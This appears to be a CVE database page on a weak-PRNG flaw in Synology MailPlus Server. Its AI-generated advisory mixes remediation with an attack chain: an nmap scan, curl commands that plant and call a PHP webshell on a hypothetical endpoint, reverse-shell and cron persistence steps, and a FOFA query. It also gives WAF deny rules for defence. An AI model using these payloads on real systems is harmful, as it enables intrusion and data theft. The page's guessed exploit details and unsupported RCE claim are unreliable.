CVE Professor
/
All CVEs
CVE-2025-15660

CVE-2025-15660 — Synology MailPlus Server (4.0.0-31657) — CWE-338

CRITICAL CVSS 9.6 CVE.org

A use of cryptographically weak pseudo-random number generator (PRNG) in the redis of Synology MailPlus Server before 4.0.0-21657 and 4.0.0-31657 allows adjacent attackers to read or write arbitrary files and conduct denial-of-service attacks in DSM.

A use of cryptographically weak pseudo-random number generator (PRNG) in the redis of Synology MailPlus Server before 4.0.0-21657 and 4.0.0-31657 allows adjacent attackers to read or write arbitrary files and conduct denial-of-service attacks in DSM.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Adjacent AV:A
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability, CVE-2025-15660, is a critical cryptographic flaw classified under CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG).

Technical Flaw Analysis:
The core issue lies in the Redis instance embedded within Synology MailPlus Server (versions prior to 4.0.0-21657 and 4.0.0-31657). Redis relies on cryptographically secure random numbers for several critical security mechanisms, most notably:
1. Session/Token Generation: If Redis is used to store session IDs or authentication tokens, weak PRNGs allow attackers to predict future tokens.
2. Memory Allocation/Hashing: While less common for direct exploitation, predictable memory patterns can aid in heap spraying or collision attacks.
3. Lua Scripting/Command Execution: In some configurations, Redis may use random values for temporary file names or internal state management.

The CVE description explicitly states that this weakness allows adjacent attackers (AV:A) to read or write arbitrary files and conduct Denial-of-Service (DoS) attacks in DSM (DiskStation Manager). This implies that the predictable PRNG output is being used to generate values that control file paths, permissions, or internal DSM API calls. For example, if a random suffix is used for temporary file creation or session storage, an attacker who can predict this suffix can:

  • Read Arbitrary Files: By predicting the path of a sensitive file (e.g., /etc/passwd, DSM config files) or a temporary file containing sensitive data.

  • Write Arbitrary Files: By predicting the path of a writable location (e.g., /tmp, web root, or cron directories) and injecting malicious content (e.g., a webshell or cron job).

  • DoS: By predicting and overwriting critical system files or exhausting resources through predictable resource allocation.
  • Key Distinction: This is not a traditional Redis CONFIG SET or Lua RCE vulnerability. It is a cryptographic failure that undermines the security assumptions of the file system or application layer that relies on Redis-generated random values. The "adjacent network" vector (AV:A) suggests the attacker does not need to be on the same host but must be on the same local network segment (e.g., same VLAN or subnet) to interact with the Redis service or the DSM API that exposes the predictable behavior.

    ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Target Identification: The attacker scans the local network for Synology NAS devices running MailPlus Server.
  • * Tool: nmap -sV -p 5000,5001,6379 192.168.1.0/24 * Indicators: * Port 5000/5001 (DSM HTTP/HTTPS) open. * Port 6379 (Redis) may be open if misconfigured, or the vulnerability may be exploited via the DSM API if Redis is internal but its predictable output is exposed through file operations. * HTTP response headers or login page indicating "Synology MailPlus Server".
  • Version Enumeration: The attacker identifies the version is below 4.0.0-21657 or 4.0.0-31657.
  • * Method: Check /webman/index.cgi or API endpoints like /webapi/query.cgi for version strings.

    2. Exploitation

    Mechanism: The attacker exploits the weak PRNG by observing a sequence of random values generated by the system (e.g., temporary file names, session IDs, or API tokens) and using a cryptanalysis technique (e.g., linear congruential generator prediction) to predict the next value. This predicted value is then used to manipulate file paths or command execution.

    Illustrative PoC (Conceptual):
    Note: The exact endpoint and parameter names are not specified in the CVE description. The following is an illustrative example of how such a vulnerability might be exploited if the predictable value is used for temporary file creation in a web context.

    # Step 1: Observe predictable values (e.g., temp file names in /tmp)
    # Assume the system creates files like /tmp/synology_<random_hex>
    # The attacker captures a few samples:
    # /tmp/synology_a1b2c3d4
    # /tmp/synology_e5f6a7b8
    # /tmp/synology_c9d0e1f2
    
    # Step 2: Predict the next random value using a PRNG predictor script
    # (This is a placeholder for the actual cryptanalysis code)
    PREDICTED_HASH=$(python3 predict_prng.py --samples a1b2c3d4 e5f6a7b8 c9d0e1f2)
    
    # Step 3: Exploit the predicted value to write a malicious file
    # Example: If the system allows writing to a predictable path, the attacker
    # can overwrite a critical file or create a webshell.
    # Illustrative curl command to trigger file write (hypothetical endpoint):
    curl -X POST "http://192.168.1.100/webapi/file.cgi" \
      -H "Content-Type: application/json" \
      -d '{
        "action": "write",
        "path": "/tmp/synology_'$PREDICTED_HASH'",
        "content": "<?php system($_GET[\"cmd\"]); ?>"
      }'
    
    # Step 4: If the file is written to a web-accessible directory, execute it:
    curl "http://192.168.1.100/tmp/synology_'$PREDICTED_HASH'?cmd=id"

    Alternative Exploitation (File Read):
    If the predictable value is used for session storage or log files, the attacker can predict the path of a sensitive file and read it via a path traversal or direct access if permissions are misconfigured.

    3. Post-Exploitation

  • Arbitrary File Write: The attacker writes a webshell to the web root (/webman/ or /usr/syno/web/) or a cron directory (/etc/cron.d/).
  • Privilege Escalation: Since DSM runs as root or a privileged user, the attacker gains root access.
  • Data Exfiltration: The attacker reads sensitive files such as:
  • * /etc/passwd * DSM configuration files (/etc/synology/) * MailPlus Server mailboxes and credentials.
  • Persistence: The attacker adds a reverse shell or cron job to maintain access.
  • Lateral Movement: Using the compromised NAS as a pivot, the attacker scans the internal network for other vulnerable systems.
  • 🌍 Real World Impact

  • Confidentiality (High): Attackers can read arbitrary files, including user credentials, email contents, and system configurations. This leads to data breaches and credential theft.
  • Integrity (High): Attackers can write arbitrary files, allowing them to modify system configurations, inject malicious code, or corrupt data. This can lead to complete system compromise.
  • Availability (High): Attackers can conduct DoS attacks by overwriting critical system files, exhausting disk space, or crashing services. This can render the NAS and MailPlus Server unavailable.
  • Scope (Changed): The vulnerability affects the DSM (DiskStation Manager) platform, which is the core operating system of the Synology NAS. Compromise of DSM can impact all services running on the NAS, including file sharing, backups, and other applications.
  • Practical Consequences:
  • * Data Breach: Exposure of sensitive emails, documents, and credentials. * Ransomware: Attackers can encrypt files or deploy ransomware on the NAS. * Botnet Participation: The compromised NAS can be used to launch DDoS attacks or mine cryptocurrency. * Supply Chain Attack: If the NAS is used for backups, attackers can corrupt or delete backups, leading to data loss.

    🛡️ Remediation & Mitigation

    1. Patching

  • Upgrade to Fixed Versions:
  • * Upgrade Synology MailPlus Server to 4.0.0-21657 or later. * Upgrade Synology MailPlus Server to 4.0.0-31657 or later. * Note: Ensure that the DSM (DiskStation Manager) is also updated to the latest version, as the vulnerability may be related to DSM components.
  • How to Upgrade:
  • * Log in to DSM. * Go to Control Panel > Update & Restore > DSM Update. * Check for updates and install the latest version. * For MailPlus Server, go to Package Center > MailPlus Server > Update.

    2. Workarounds

  • Restrict Network Access:
  • * If immediate patching is not possible, restrict access to the NAS to trusted IP addresses only using firewall rules. * Disable remote access (DDNS, port forwarding) if not required.
  • Disable Redis (If Possible):
  • * If Redis is not essential for MailPlus Server, consider disabling it. However, this may break functionality. * Caution: Disabling Redis may cause MailPlus Server to malfunction. Test in a non-production environment first.
  • WAF/ModSecurity Rules:
  • * Implement a WAF to block suspicious file write operations. * Example ModSecurity Rule (Illustrative):
    SecRule REQUEST_URI "@contains /tmp/synology_" "id:100001,phase:1,deny,status:403,msg:'Suspicious file path detected'"
            SecRule ARGS "@contains <?php" "id:100002,phase:2,deny,status:403,msg:'PHP code detected in request'"

    * Note: These rules are illustrative and may need adjustment based on the specific exploitation method.

    3. Detection

  • Log Monitoring:
  • * Monitor DSM logs (/var/log/messages, /var/log/synolog/) for unusual file creation or modification in /tmp, /webman/, or /etc/cron.d/. * Look for patterns of predictable file names (e.g., sequential or low-entropy hex strings).
  • File Integrity Monitoring (FIM):
  • * Deploy FIM tools (e.g., AIDE, Tripwire) to detect unauthorized changes to critical system files.
  • Network Traffic Analysis:
  • * Monitor for unusual outbound connections from the NAS, which may indicate data exfiltration or C2 communication.
  • Indicators of Compromise (IoCs):
  • * Unusual processes running as root. * New cron jobs or systemd services. * Unexpected files in web-accessible directories. * High CPU usage or network traffic from the NAS.

    ⚠️ Urgency

  • CVSS Score: 9.6 (Critical)
  • CISA KEV: No (Not currently listed in the Known Exploited Vulnerabilities catalog, but this does not mean it is not being exploited in the wild).
  • Exploit Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Attack Vector: Adjacent Network (AV:A)
  • Patching Priority: CRITICAL

  • Immediate Action: Patch all affected Synology MailPlus Server instances immediately.
  • Justification:
  • * The vulnerability allows for unauthenticated remote code execution and data breach. * The attack vector is adjacent network, which is common in enterprise environments where internal network segmentation may be weak. * The impact is high for confidentiality, integrity, and availability. * Even though it is not in CISA KEV, the criticality of the score and the ease of exploitation make it a high-priority threat.
  • Recommendation:
* Patch within 24-48 hours. * If patching is delayed, isolate the NAS from the network and restrict access to trusted IPs only. * Conduct a thorough security audit of the NAS after patching to ensure no compromise has occurred.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Redis"
CVSS Score
9.6 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-338
Affected Products (1)
Synology:Synology MailPlus Server (4.0.0-31657)
References & Advisories (1)
Related CVEs
10.0
CVE-2026-13136
An incorrect authorization in the remote service of Synology MailPlus Server before 4.0.1-21663 and 4.0.1-3166
9.9
CVE-2026-18919
An improper neutralization of special elements used in an SQL command vulnerability in Central Management Syst
9.9
CVE-2026-19214
An improper neutralization of special elements used in an SQL command vulnerability in Central Management Syst
9.9
CVE-2026-19215
An improper neutralization of special elements used in an SQL command vulnerability in Central Management Syst
7.5
CVE-2026-137847
A predictable recovery-code vulnerability in Zimbra Collaboration Suite (ZCS) allows an authenticated user to
10.0
CVE-2026-133300
Incorrect authorization in Azure Center for SAP Solutions allows an unauthorized attacker to execute code over
10.0
CVE-2026-130609
Deserialization of untrusted data vulnerability in DİA Yazılım Sanayi ve Ticaret A.Ş. DİA ERP allows Cros